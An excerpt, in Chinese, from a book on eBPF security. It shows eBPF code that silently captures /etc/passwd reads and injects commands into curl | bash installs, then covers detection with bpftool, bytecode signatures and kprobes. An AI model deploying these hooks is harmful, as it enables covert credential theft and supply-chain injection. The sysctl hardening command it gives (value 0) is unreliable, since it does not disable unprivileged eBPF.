使用eBPF技术防护、探测和审计恶意eBPF程序

文摘   2024-11-07 20:31   陕西  

使用eBPF技术防护、探测和审计恶意eBPF程序

导读:eBPF技术提供了强大的内核编程功能,使得开发人员能够创建高效、可扩展的监控、网络和安全解决方案。然而,随着eBPF技术的普及,恶意攻击者也可能利用其强大的功能来达到恶意目的。本文将探讨恶意eBPF程序可能带来的威胁及其实现模式,以及如何使用eBPF技术探测恶意eBPF程序。

本文目录

一、 恶意eBPF程序

  1. 常规程序

  2. 网络程序

二、 防护恶意eBPF程序

三、 探测和审计恶意eBPF程序

  1. 文件分析

  2. bpftool

  3. 内核探测

四、总结

一、 恶意eBPF程序

1. 常规程序

当我们使用eBPF技术追踪常规的进程相关操作时,通常会将eBPF程序附加到系统调用或内核函数的入口点或返回点。

  • 通过附加到内核函数或系统调用的入口点,可以追踪或审计调用时传递的参数信息。

  • 通过附加到返回点,可以追踪内核函数或系统调用的执行结果。

以常见的文件读取为例,该操作通常涉及两个系统调用:openat和read。我们可以使用eBPF技术通过追踪这两个系统调用实现审计发起操作的进程信息、读取的文件信息及读取的文件内容。对应的流程如图1所示。

在图1所示的流程中,我们既可以在eBPF程序中使用辅助函数bpf_probe_read_user读取read操作获取到的文件内容(图1中buf指针指向的用户态内存数据),又可以使用辅助函数bpf_probe_write_user改写这个文件内容。这种可以在内核中读取和改写用户态内存的能力非常强大,它不仅为我们实现复杂的安全审计和拦截需求提供了支持,同时也为恶意程序提供了可乘之机。

图1 通过eBPF追踪文件读取操作流程

攻击者利用eBPF技术编写的恶意程序除了常见的从内核函数或系统调用的参数中获取信息外,可能还会利用在内核中读取和修改用户态内存的能力,实现各种更加复杂的恶意行为。例如,它们可能会实现以下常见的恶意行为:

  • 窃取敏感信息在不直接读取文件内容的情况下,恶意程序可悄无声息地窃取敏感文件内容。
  • 权限提升。恶意程序能在不修改系统文件的情况下执行提权操作,进一步提高攻击者在系统中的权限。
  • 命令执行。恶意程序能在不主动发起命令执行操作的情况下,执行特定命令。
  • 隐藏进程。恶意程序可以在系统中掩盖自身的进程信息,使系统管理员无法通过ps命令检测到恶意程序的进程信息。

下面将以“窃取敏感信息”为例,简单介绍恶意eBPF程序实现上述常见行为的可能实现模式。有关“权限提升”、“命令执行”以及“隐藏进程”的详细内容,推荐您阅读黄竹刚、匡大虎老师的新书《 eBPF云原生安全:原理与实践》。

恶意eBPF程序可以在不直接读取目标文件内容的情况下,悄无声息地窃取敏感文件内容。以获取/etc/passwd文件内容为例,恶意程序可以通过编写附加到openat和read系统调用的eBPF程序,在其他程序读取/etc/passwd文件的时候,窃取该文件的内容。整个核心流程如图2所示。

图2 恶意eBPF程序窃取敏感文件内容流程

由图2可知,该恶意eBPF程序的关键流程如下。

1)编写附加到openat系统调用入口点的eBPF程序。在这个程序中过滤追踪到的事件只处理读取/etc/passwd的事件,然后将事件保存到fd_map中。

SEC("tracepoint/syscalls/sys_enter_openat")
int tracepoint_syscalls__sys_enter_openat(struct trace_event_raw_sys_enter *ctx) {
    char passwd_path[TASK_COMM_LEN] = "/etc/passwd";
    char pathname[TASK_COMM_LEN];
    char *pathname_p = (char *)BPF_CORE_READ(ctx, args[1]);
    bpf_core_read_user_str(&pathname, TASK_COMM_LEN, pathname_p);
    // 只处理读取 /etc/passwd 的事件
    if (!str_eq(pathname, passwd_path, TASK_COMM_LEN)) {
        return 0;
    }
    u64 tid = bpf_get_current_pid_tgid();
    unsigned int val = 0;
    // 保存信息到 fd_map 中
    bpf_map_update_elem(&fd_map, &tid, &val, BPF_ANY);
    return 0;
}

2)编写附加到openat返回点的eBPF程序。在这个eBPF程序中使用openat系统调用返回的文件描述符信息更新第1步保存到fd_map中的fd事件信息。

SEC("tracepoint/syscalls/sys_exit_openat")
int tracepoint_syscalls__sys_exit_openat(struct trace_event_raw_sys_exit *ctx) {
    u64 tid = bpf_get_current_pid_tgid();
    if (!bpf_map_lookup_elem(&fd_map, &tid)) {
        return 0;
    }
    // 保存返回的 fd
    unsigned int fd = (unsigned int)BPF_CORE_READ(ctx, ret);
    bpf_map_update_elem(&fd_map, &tid, &fd, BPF_ANY);
    return 0;
}

3)编写附加到read系统调用入口点的eBPF程序。在这个程序中将使用从第2步获取到的fd判断应用程序调用read系统调用时传入的fd是否是我们想要追踪的目标,之后将传入的buf指针保存到buffer_map中。

SEC("tracepoint/syscalls/sys_enter_read")
int tracepoint_syscalls__sys_enter_read(struct trace_event_raw_sys_enter *ctx) {
    u64 tid = bpf_get_current_pid_tgid();
    unsigned int *target_fd;
    // 确保只处理目标文件对应的 fd
    target_fd = bpf_map_lookup_elem(&fd_map, &tid);
    unsigned int fd = (unsigned int)BPF_CORE_READ(ctx, args[0]);
    if (fd != *target_fd) {
        return 0;
    }
    // 保存 *buf
    long unsigned int buffer = (long unsigned int)BPF_CORE_READ(ctx, args[1]);
    bpf_map_update_elem(&buffer_map, &tid, &buffer, BPF_ANY);
    return 0;
}

4)编写附加到read系统调用返回点的eBPF程序。此时,第3步保存的buf指针指向的内存已经被填充了数据,在这个程序中使用辅助函数bpf_probe_read_user将这个数据读取出来,然后发送到环形缓冲区中供用户态的恶意程序消费。

SEC("tracepoint/syscalls/sys_exit_read")
int tracepoint_syscalls__sys_exit_read(struct trace_event_raw_sys_exit *ctx) {
    int zero = 0;
    struct event_t *event;
    u64 tid = bpf_get_current_pid_tgid();
    long unsigned int *buffer_p = bpf_map_lookup_elem(&buffer_map, &tid);
    long unsigned int buffer = *buffer_p;
    long int read_size = (long int)BPF_CORE_READ(ctx, ret);
    // 省略部分代码
    // 读取 *buf 指向的用户态内存数据
    bpf_probe_read_user(&event->payload, sizeof(event->payload), (char *)buffer);
    // 发送读取的数据
    bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, event, sizeof(struct  
        event_t));
    return 0;
}

通过上面的流程和相关eBPF代码的介绍可知,在整个流程中,恶意程序并不需要主动发起读取敏感文件的操作,只需静待其他进程执行读取/etc/passwd文件的操作即可被动获取到想要获取的敏感信息。

2. 网络程序

除了可以将eBPF程序附加到常规进程操作相关系统调用或内核函数上外,我们还可以将eBPF程序附加到网络相关操作所触发的系统调用或内核函数上,或者使用TC或XDP技术编写附加到网络接口(网卡)上。因此,恶意eBPF程序也可以基于这个能力实现复杂的攻击手段,比如实现下面这些恶意行为。

  • 流量嗅探。通过嗅探机器上的网络流量,从中窃取敏感信息。

  • 劫持网络安装操作。通过劫持管道实现网络安装操作,注入恶意脚本。

  • 流量伪装。以正常网络流量的形式下达恶意指令或获取敏感信息。

  • 流量劫持。通过劫持正常流量实现在不主动建立连接的情况下向远程服务器发送信息。

下面将围绕“劫持网络安装操作”,简单介绍这些恶意行为常见的实现模式。有关“流量嗅探”、“流量伪装”及“流量劫持”的详细内容,推荐您阅读黄竹刚、匡大虎老师的新书 《eBPF云原生安全:原理与实践》。

很多工具类开源项目的安装文档中都会提供一个一键安装该工具的命令,这个命令通常基于curl和bash命令实现,类似如下格式。

curl -sSf http:// xxx.example.com/install.sh | bash

恶意程序可能会基于eBPF技术以操作者无法察觉的形式在这种常见的一键安装过程中注入恶意脚本。下面介绍一种可能的实现模式。

基于curl和bash命令实现的一键安装命令利用了一个常用的Shell特性,那就是管道操作符“|”。通过管道操作将使用curl命令下载的安装脚本的内容直接传递给了后面的bash命令,跳过了常规的下载脚本到磁盘,然后再通过bash命令执行本地文件过程中脚本保存到磁盘上的操作。下面将重点来分析一下管道操作,看是否可以使用eBPF技术劫持管道操作实现注入恶意脚本的能力。

在bash Shell中,执行curl example.com|bash命令的流程如下。

(1) bash将通过pipe2()系统调用创建一个管道。

(2) bash会通过clone()系统调用创建curl和bash两个进程,同时在curl进程中使用dup2()系统调用将标准输出重定向到管道的写入端,在bash进程中使用dup2()系统调用将标准输入重定向到管道的读取端。

(3) 在curl进程中使用execve()系统调用执行curl命令,在bash进程中使用execve()系统调用执行bash命令。

整体流程如图3所示。

图3 一键安装命令的操作流程

由上面的流程可知,我们可以通过劫持curl进程向管道的写入端进行写入数据操作,将恶意脚本注入其中,实现在类似的一键安装命令的执行过程中无感注入恶意脚本的能力。使用eBPF技术实现该能力主要分为以下几个步骤。

1)通过编写附加到pipe2()系统调用的eBPF程序追踪bash创建管道的操作,并在eBPF程序中记录管道操作所创建的两个文件描述符的信息。

SEC("tracepoint/syscalls/sys_enter_pipe2")
int sys_enter_pipe2(struct trace_event_raw_sys_enter *ctx) {
    u32 pid = bpf_get_current_pid_tgid() >> 32;
    struct pipe_point_t val = {};
    // 省略部分代码
    int *fildes = (int *)BPF_CORE_READ(ctx, args[0]);
    val.fildes = fildes;
    bpf_map_update_elem(&pipe_event_map, &pid, &val, BPF_ANY);
    return 0;
}
SEC("tracepoint/syscalls/sys_exit_pipe2")
int sys_exit_pipe2(struct trace_event_raw_sys_exit *ctx) {
    u32 pid = bpf_get_current_pid_tgid() >> 32;
    struct pipe_point_t *val;
    val = bpf_map_lookup_elem(&pipe_event_map, &pid);
    if (!val) {
        return 0;
    }
    if (bpf_map_lookup_elem(&pipe_fd_map, &pid)) {
    return 0;
    }
    int fd[2];
    bpf_probe_read_user(fd, sizeof(fd), val->fildes);
    struct pipe_fd_val_t fd_val = {};
    fd_val.read_fd = fd[0];
    fd_val.write_fd = fd[1];
    bpf_map_update_elem(&pipe_fd_map, &pid, &fd_val, BPF_ANY);
    return 0;
}

2)通过追踪与clone系统调用相关联的sched_process_fork事件,在事件处理函数中将第1步获取的文件描述符信息与新的子进程相关联。

SEC("tracepoint/sched/sched_process_fork")
int sched_process_fork(struct trace_event_raw_sched_process_fork *ctx) {
    u32 parent_pid = (u32) BPF_CORE_READ(ctx, parent_pid);
    u32 child_pid = (u32) BPF_CORE_READ(ctx, child_pid);
    struct pipe_fd_val_t *fd_val;
    fd_val = bpf_map_lookup_elem(&pipe_fd_map, &parent_pid);
    if (!fd_val) {
        return 0;
    }
    bpf_map_update_elem(&pipe_fd_map, &child_pid, fd_val, BPF_ANY);
    return 0;
}

3)通过追踪dup2()系统调用事件,找到相应的在进程中执行dup2()关联第1步的管道文件描述符的事件,触发这个事件的进程即为我们要找的curl进程。

SEC("tracepoint/syscalls/sys_enter_dup2")
int sys_enter_dup2(struct trace_event_raw_sys_enter *ctx) {
    u32 pid = bpf_get_current_pid_tgid() >> 32;
    struct pipe_fd_val_t *fd_val;
    fd_val = bpf_map_lookup_elem(&pipe_fd_map, &pid);
    if (!fd_val) {
        return 0;
    }
    int fd1 = (int)BPF_CORE_READ(ctx, args[0]);
    int fd2 = (int)BPF_CORE_READ(ctx, args[1]);
    if (fd2 != 1 || fd1 != fd_val->write_fd) {
        return 0;
    }
    u8 zero = 0;
    bpf_map_update_elem(&dup_event_map, &pid, &zero, BPF_ANY);
    return 0;
}

4)结合前面确定的curl进程信息,在进程执行write()系统调用的时候,将写入的数据替换为我们想注入的脚本内容。

SEC("tracepoint/syscalls/sys_enter_write")
int tracepoint_syscalls__sys_enter_write(struct trace_event_raw_sys_enter *ctx) {
   u32 pid = bpf_get_current_pid_tgid() >> 32;
   if (!bpf_map_lookup_elem(&dup_event_map, &pid)) {
       return 0;
   }
   int fd = (int) BPF_CORE_READ(ctx, args[0]);
   if (fd != 1) {
       return 0;
   }
   long count = (long) BPF_CORE_READ(ctx, args[2]);
   char replace[64] = "id;exit 0\n";
   int size = str_len(replace, 64);
   if (count < size) {
       return 0;
   }
   void *buffer = (void *)BPF_CORE_READ(ctx, args[1]);
   bpf_probe_write_user(buffer, replace, size);
   return 0;
}

在上面的程序中,我们往一键安装命令中的curl命令的输出中注入了id;exit 0\n这个脚本内容。当执行curl example.com|bash操作的时候,将执行我们注入的id命令。

$ curl example.com | bash
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1256  100  1256    0     0   2517      0 --:--:-- --:--:-- --:--:--  2517
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant),121(docker),1002(microk8s)

二、 防护恶意eBPF程序

通过前面的介绍,相信大家对恶意eBPF程序已经有了一定的了解。下面我们来看一下如何防护恶意eBPF程序。

我们可以使用下面这些防护措施来尽量避免被攻击者在主机上运行恶意eBPF程序或者拦截恶意程序对外发送网络流量。

  • 限制只允许特权用户拥有加载eBPF程序的权限,禁用非特权用户加载eBPF程序的能力。比如在Ubuntu环境中可以通过下面的命令实现禁用该能力。
sudo sysctl kernel.unprivileged_bpf_disabled=0
  • 在非特殊情况下,不让程序拥有CAP_SYS_ADMIN和CAP_BPF等加载eBPF程序所需的Linux能力。

  • 在没有使用bpf_override_return的场景,建议通过配置内核编译参数CONFIG_BPF_KPROBE_OVERRIDE禁用该eBPF特性。

  • 编写内核模块或eBPF程序,阻止在内核中加载非预期的eBPF程序。

  • 使用网络基础设施提供的防火墙和安全能力,实现流量访问控制和检测功能。在网络基础设施层面实现的这些功能不会被前面介绍过的流量伪装和流量劫持手段所欺骗。

二、 探测和审计恶意eBPF程序

前面介绍了防护恶意eBPF程序的方法,下面我们来看一下如何探测和审计恶意eBPF程序。我们可以通过文件分析、bpftool及内核探测三种方式实现探测和审计恶意eBPF程序的目的。

1. 文件分析

我们可以通过扫描和分析机器上的文件内容的方式,找到机器上存在的eBPF程序,并从下面这些方面对文件进行分析。

  • 分析ELF文件,找出其中包含的eBPF程序相关信息。ELF文件中的eBPF程序信息示例如图4所示。

图4 分析ELF文件中的eBPF程序信息

  • 分析eBPF字节码信息,找出调用高危辅助函数的程序。比如,对于辅助函数bpf_probe_write_user,ELF文件中如果包含特征85 00 00 00 24 00 00 00,说明这个eBPF程序调用了辅助函数bpf_probe_write_user,其中的16进制数字24的10进制值36对应的是辅助函数bpf_probe_write_user的辅助函数ID。关于如何获取辅助函数的ID,我们将在下一小节“内核探测”中进行说明。ELF文件示例如图5所示。

图5 分析ELF文件中的eBPF字节码

关于eBPF字节码的详细定义和说明请参考Linux内核官方文档。

2. bpftool

eBPF社区开发的bpftool项目是一个用于管理eBPF程序和Map的辅助工具。通过使用bpftool,我们可以非常方便地实现列出内核中已加载的eBPF程序或Map、导出eBPF程序字节码、加载和附加eBPF程序等日常管理需求。

我们可以利用bpftool提供的列出eBPF程序的功能审计当前内核中已加载的eBPF程序,还可以再使用它提供的导出eBPF程序字节码的功能,参考上一节介绍的关键字节码特征信息,对每个加载的eBPF程序的字节码进行分析。

(1) 列出eBPF程序

我们可以直接使用bpftoolproglist命令列出当前内核中已加载的eBPF程序。

$ sudo bpftool prog list
110: cgroup_device  tag 3918c82a5f4c0360
    loaded_at 2023-10-26T05:30:14+0000  uid 0
    xlated 64B  jited 41B  memlock 4096B
120: cgroup_device  tag 531db05b114e9af3
    loaded_at 2023-10-26T05:30:23+0000  uid 0
    xlated 512B  jited 329B  memlock 4096B
...
858: tracepoint  name tracepoint_syscalls__sys_exit_getdents64  tag ee2e89f697 
    eb64af  gpl
    loaded_at 2023-10-28T04:24:25+0000  uid 0
    xlated 124728B  jited 76997B  memlock 143360B  map_ids 427,430,428
    btf_id 580
    pids main(3447317)

(2) 导出eBPF程序字节码

当通过bpftool prog list命令获取到eBPF程序列表后,我们可以使用bpftool prog dump命令导出指定eBPF程序的字节码。

$ sudo bpftool prog dump jited id 858 opcodes
int tracepoint_syscalls__sys_exit_getdents64(struct trace_event_raw_sys_exit * ctx):
bpf_prog_ee2e89f697eb64af_tracepoint_syscalls__sys_exit_getdents64:
int tracepoint_syscalls__sys_exit_getdents64(struct trace_event_raw_sys_exit *ctx) {
    0:   nopl   0x0(%rax,%rax,1)
        0f 1f 44 00 00 
    ...
    1c:   xor    %edi,%edi
        31 ff 
struct event_t event = { 0 };
...
12cb6:  mov    %rbx,-0x78(%rbp)
        48 89 588 
12cba:  mov    %r14,%r15
        489 f7 
12cbd:  mov    %rdi,%r14
        49 89 fe 
12cc0:  jmp    0x0000000000012ae2
        e9 1d fe ff ff 

bpftool也支持通过--json参数指定将结果导出为JSON格式。

$ sudo bpftool prog dump jited id 858 opcodes --json
[{
        "proto""int tracepoint_syscalls__sys_exit_getdents64(struct trace_event_ 
          raw_sys_exit * ctx)"
,
        "name""bpf_prog_ee2e89f697eb64af_tracepoint_syscalls__sys_exit_getdents64",
        "insns": [{
                "src""int tracepoint_syscalls__sys_exit_getdents64(struct trace_ 
                  event_raw_sys_exit *ctx) {"
,
                "pc""0x0",
                "operation""nopl",
                "operands": ["0x0(%rax,%rax,1)"
                ],
                "opcodes": ["0x0f","0x1f","0x44","0x00","0x00"
                ]
            },
    ]
                ...
 }]

(3) 分析辅助函数

eBPF程序在加载到内核中的时候,eBPF验证器会调整辅助函数的字节码,以及内核的eBPF JIT优化技术也会调整程序,因此,我们无法像上一节介绍的那样,直接通过已知的字节码来判断对应的操作是否是调用某个特定的eBPF辅助函数。我们需要结合当前系统内的符号表信息及bpftool导出的字节码数据进行计算和分析。该方法的思路如下:

(1) 通过bpftool以JSON格式导出当前内核中所有已加载eBPF程序的字节码数据。

(2) 通过程序对每个eBPF程序的字节码数据进行分析,遍历其中的操作,对所有调用辅助函数的操作(对应的操作码为call)进行分析。分析这些操作时,我们需要根据其中的字段内容计算出调用的辅助函数的符号地址。

(3) 通过程序分析当前系统中/proc/kallsyms文件内存储的符号表数据,从符号表中找出上一步计算出来的辅助函数的符号地址对应的函数名称。此时,我们便分析出了eBPF字节码中调用的辅助函数的真实名称。

(4) 对结果进行统计和输出。

下面是按照这个思路编写的示例程序的运行结果。

$ sudo ./inspect-ebpf-helpers 
result:
- id: 110, name: bpf_prog_3918c82a5f4c0360, helpers:
- id: 858, name: bpf_prog_ee2e89f697eb64af_tracepoint_syscalls__sys_exit_getdents64,  
  helpers:
  - bpf_get_current_pid_tgid
  - bpf_probe_read_kernel
  - __htab_map_lookup_elem
  - bpf_probe_read_user
  - bpf_probe_write_user
  - bpf_get_current_comm
  - bpf_perf_event_output_tp
- id: 351, name: bpf_prog_5b66259bfca5c6d7, helpers:
- id: 856, name: bpf_prog_724d0ee43be709b0_tracepoint_syscalls__sys_enter_ 
  getdents64, helpers:
  - bpf_get_current_pid_tgid
  - bpf_probe_read_kernel
  - htab_lru_map_update_elem
- id: 398, name: bpf_prog_3918c82a5f4c0360, helpers:
- id: 1009, name: bpf_prog_c0c258a151d66206_handle_ingress, helpers:
  - bpf_skb_load_bytes
  - percpu_array_map_lookup_elem
  - bpf_trace_printk
- id: 1064, name: bpf_prog_6deef7357e7b4530, helpers:
- id: 868, name: bpf_prog_eb80e762a08a9d8a, helpers:
  - bpf_trace_printk

3. 内核探测

除了在用户态对机器上的文件或者使用bpftool工具进行分析外,我们还可以通过编写程序在内核态探测到恶意eBPF程序的活动。

大家都知道,当我们的程序向内核加载eBPF程序的时候,在内核层面实际上是使用bpf()系统调用实现的。因此,我们可以通过审计bpf()系统调用的活动来审计恶意eBPF程序的行为。

(1) 审计bpf()系统调用

首先,我们来看一下bpf()系统调用的参数信息。

a.bpf()系统调用参数

bfp()系统调用的参数和说明如下。

int bpf(int cmd, union bpf_attr *attr, unsigned int size);
  • cmd是这个系统调用要执行的BPF命令。bpf()系统调用支持的常用BPF命令如表1所示,更多BPF命令请查阅内核源码中enum bpf_cmd的详细定义。

表1 bpf()系统调用支持的BPF命令

BPF命令命令值命令描述
BPF_MAP_CREATE0创建Map
BPF_MAP_LOOKUP_ELEM1查找Map中指定键的值
BPF_MAP_UPDATE_ELEM2更新Map中指定键的值
BPF_MAP_DELETE_ELEM3删除Map中指定的键
BPF_MAP_GET_NEXT_KEY4查找Map中指定键后的下一个键
BPF_PROG_LOAD5验证和加载eBPF程序
  • attr是一个指向共用体(union)类型bpf_attr的指针。共用体bpf_attr由多个用于不同BPF命令的匿名结构体组成,下面是部分匿名结构体中部分成员的说明,更多说明请查阅内核中共用体bpf_attr的源代码。
union bpf_attr {
  struct {    /* 用于 BPF_MAP_CREATE 命令 */
    __u32         map_type;
    __u32         key_size;     /* 键大小(单位:字节) */
    __u32         value_size;   /* 值大小(单位:字节)*/
    __u32         max_entries;  /* 最大条目数 */
  };
  struct {    /* 用于 BPF_MAP_*_ELEM 和 BPF_MAP_GET_NEXT_KEY 命令*/
    __u32         map_fd;
    __aligned_u64 key;
 union {
      __aligned_u64 value;
      __aligned_u64 next_key;
    };
    __u64         flags;
  };
  struct {    /* 用于 BPF_PROG_LOAD 命令 */
    __u32         prog_type;
    __u32         insn_cnt;
    __aligned_u64 insns;        /* 'const struct bpf_insn *' */
    __aligned_u64 license;      /* 'const char *' */
    __u32         log_level;    /* 验证器日志级别 */
    __u32         log_size;     /* 用户态缓冲区大小 */
    __aligned_u64 log_buf;      /* 用户态提供的 'char *' 缓冲区 */
    __u32         kern_version; /* 当 prog_type=kprobe 时会被检查
          (从 Linux 4.1 开始) */
  };
 } __attribute__((aligned(8)));
  • size表示attr指针指向的数据的大小。

确定了bpf()系统调用的参数后,我们可以使用eBPF的Tracepoint或Kprobe特性编写审计bpf()系统调用的eBPF程序。下面以使用Tracepoint特性实现该审计程序为例,简单演示一下相应的审计程序。

b.基于eBPF Tracepoint实现审计程序

在下面这个示例程序中,我们使用eBPF程序追踪了bpf()系统调用,并在程序中获取相应的触发该调用的调用者信息。关于eBPF Tracepoint实现追踪系统调用的更详细说明请查阅第8章中关于Tracepoint的相关介绍。

SEC("tracepoint/syscalls/sys_enter_bpf")
int tracepoint_syscalls__sys_enter_bpf(struct trace_event_raw_sys_enter *ctx) {
    pid_t tid;
    struct task_struct *task;
    struct event_t event = {};
    union bpf_attr *attr;
    tid = (pid_t)bpf_get_current_pid_tgid();
    task = (struct task_struct*)bpf_get_current_task();
    event.ppid = (pid_t)BPF_CORE_READ(task, real_parent, tgid);
    event.pid = bpf_get_current_pid_tgid() >> 32;
    bpf_get_current_comm(&event.comm, sizeof(event.comm));
    // 获取 cmd 参数
    event.cmd = (int)BPF_CORE_READ(ctx, args[0]);
    // 获取 attr 参数
    attr = (union bpf_attr *)BPF_CORE_READ(ctx, args[1]);
    // 获取 size 参数
    event.size = (unsigned int)BPF_CORE_READ(ctx, args[2]);
    bpf_printk("bpf %d %d", event.cmd, event.size);
    return 0;
}

(2) 审计辅助函数

除了常规的bpf()系统调用审计之外,通常还有审计eBPF程序中调用的辅助函数的需求,比如,通过审计eBPF程序中使用的辅助函数,我们可以判断加载的eBPF程序使用了高危的辅助函数,比如bpf_probe_read_user、bpf_probe_write_user等。

除了可以通过上一节介绍的文件分析及基于bpftool的方法审计辅助函数外,我们还可以使用eBPF的Kprobe特性在eBPF验证器验证eBPF字节码的时候审计对应的辅助函数验证逻辑,进而间接实现审计辅助函数的功能。

当eBPF验证器验证eBPF字节码中的函数调用操作的时候,会调用内核函数check_helper_call验证调用辅助函数的合法性。

// 源文件:kernel/bpf/verifier.c
static int do_check(struct bpf_verifier_env *env)
{
    // 省略部分代码
if (opcode == BPF_CALL) {
    // 省略部分代码
    if (insn->src_reg == BPF_PSEUDO_CALL)
        err = check_func_call(env, insn, &env->insn_idx);
    else if (insn->src_reg == BPF_PSEUDO_KFUNC_CALL)
        err = check_kfunc_call(env, insn);
    else
        err = check_helper_call(env, insn, &env->insn_idx);
// 省略部分代码

// 省略部分代码
}
static int check_helper_call(struct bpf_verifier_env *env, struct bpf_insn *insn,  
    int *insn_idx_p)

{
// 省略部分代码
    int i, err, func_id;
    func_id = insn->imm;
// 省略部分代码
}

因此,我们可以通过编写审计内核函数check_helper_call的eBPF程序,在eBPF验证器执行阶段获取目标eBPF程序中调用的辅助函数ID信息,进而实现审计辅助函数的功能。对应的示例代码如下。

SEC("kprobe/check_helper_call")
int BPF_KPROBE(kprobe_check_helper_call, struct bpf_verifier_env *env, struct  
    bpf_insn *insn)
 
{
    // 获取辅助函数 ID
    int func_id = (int)BPF_CORE_READ(insn, imm);
    bpf_printk("bpf helper function id %d", func_id);
    return 0;
}

当我们通过上面的eBPF程序获取到对应的辅助函数ID之后,可以参考内核源码include/uapi/linux/bpf.h文件中宏__BPF_FUNC_MAPPER的定义,获取与ID相对应的函数名称(比如,ID 1对应的辅助函数是bpf_map_lookup_elem)。

// 源文件:include/uapi/linux/bpf.h
#define __BPF_FUNC_MAPPER(FN) \
  FN(unspec),                     \
  FN(map_lookup_elem),          \
  FN(map_update_elem),          \
  FN(map_delete_elem),          \
  FN(probe_read),                \
  FN(ktime_get_ns),              \
  FN(trace_printk),              \
  FN(get_prandom_u32),          \
  FN(get_smp_processor_id),    \
  FN(skb_store_bytes),          \
  FN(l3_csum_replace),          \
  FN(l4_csum_replace),          \
  FN(tail_call),                 \
  FN(clone_redirect),           \
  FN(get_current_pid_tgid),    \
// 省略部分代码

四、总结

本文探讨了恶意eBPF程序可能带来的威胁及常见实现模式,同时还介绍了如何探测和防护恶意eBPF程序。相信大家在学习了这些内容后,对于恶意eBPF程序相关知识已经有了一定的了解,本文介绍的内容只是这一领域的冰山一角,读者可以结合自己的实际场景和兴趣点,基于本文的内容作进一步的研究和改进。如果您对eBPF云原生安全想有更深入的了解,推荐您阅读黄竹刚、匡大虎老师的新书 eBPF云原生安全:原理与实践》。

本文摘编自《eBPF云原生安全:原理与实践》(书号:978-7-111-75804-4),经出版方授权发布,转载请保留文章来源。

《eBPF云原生安全:原理与实践》是一本系统讲解如何使用eBPF技术构建云原生安全防线的著作,是一本面向eBPF技术爱好者和云安全领域从业者的实战宝典,从原理与实践角度详述了eBPF技术在云原生安全领域正在发生的关键作用,是作者多年构筑云原生安全纵深防御经验的总结。本书详细阐述了eBPF技术的核心原理以及在云原生安全领域的应用价值,并结合大量的代码案例分析,深入探讨了在典型的云原生安全需求场景下使用eBPF技术可以帮助实现的安全功能和实践原理,同时也讲述了可能引入的安全风险,帮助读者从零基础快速了解eBPF技术,开始eBPF安全编程。

作者简介

黄竹刚,阿里云容器服务技术专家,eBPF技术爱好者,云原生安全领域从业人员,拥有十余年软件开发经验,熟悉Python、Go等多种编程语言,热爱开源并长期活跃于开源社区。


Linux内核之旅
Linux内核之旅
 最新文章